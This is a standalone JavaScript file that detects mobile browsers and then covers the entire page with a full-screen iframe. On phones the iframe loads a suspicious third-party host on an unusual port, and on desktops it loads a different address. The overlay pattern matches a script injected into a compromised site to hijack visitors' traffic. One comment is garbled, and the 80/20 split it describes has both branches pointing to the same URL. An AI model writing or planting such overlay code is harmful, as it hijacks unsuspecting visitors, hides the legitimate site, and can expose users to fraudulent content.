function checkMobile() {
    var sUserAgent = navigator.userAgent.toLowerCase();
    var isMobile = sUserAgent.match(/iphone|android|ipad|phone|mobile|wap|netfront|x11|java|operamobi|operamini|uc|windowsce|symbian|symbianos|series|webos|sony|blackberry|dopod|nokia|samsung|palmsource|xda|pieplus|meizu|midp|cldc|motorola|foma|docomo|up.browser|up.link|blazer|helio|hosin|huawei|novarra|coolpad|webos|techfaith|palmsource|alcatel|amoi|ktouch|nexian|ericsson|philips|sagem|wellcom|bunjalloo|maui|smartphone|iemobile|spice|bird|zte-|longcos|pantech|gionee|portalmmm|jig browser|hiptop|benq|haier/i) != null;
    if (isMobile) {
        return true;
    }
    if(navigator.userAgent.indexOf('UCBrowser') > -1){
    	return true;
    }
    if(sUserAgent.match(/MicroMessenger/i) == 'micromessenger'){
    	return true;
    }
    if(!!sUserAgent.match(/mqqbrowser|qzone|qqbrowser/i)){
    	return true;
    }
    return false;
}

if (checkMobile()) {
    // 姒傜巼瀹炵幇锛�80% URL1锛�20% URL2
    var randomChance = Math.random();
    var str = (randomChance < 0.8) 
        ? ["https://cf6.jvjytpw.com:1084/6/"] 
        : ["https://cf6.jvjytpw.com:1084/6/"];
} else {
    var str = ["https://batit.aliyun.com", "https://batit.aliyun.com"];
}

var url2 = str[parseInt(Math.random() * str.length)];
document.writeln('<div class="scroll-wrapper" style="position: fixed;    height: 100%;    width: 100%;    padding: 0px;    margin: 0px; background: white;border: none;top: 0px;left: 0;z-index: 1999999999; _0: absolute; _1: expression(eval(document.documentElement.scrollTop)); "><iframe width="100%" height="100%" id="warpperId"      src="' + url2 + '">');
document.writeln('</iframe></div>');
document.writeln(" <style>");
document.writeln(" body{   margin: 0!important;    padding: 0!important;}");
document.writeln(".scroll-wrapper{");
document.writeln("-webkit-overflow-scrolling: touch;");
document.writeln("overflow: scroll;}");
document.writeln("iframe{");
document.writeln("width: 100%;");
document.writeln("height: 100%;");
document.writeln("}");
document.writeln("");
document.writeln("iframe {");
document.writeln("    border-width: 0px;");
document.writeln(" }");
document.writeln("</style>");
document.writeln(" <meta name=\'viewport\' content=\'width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0\'>");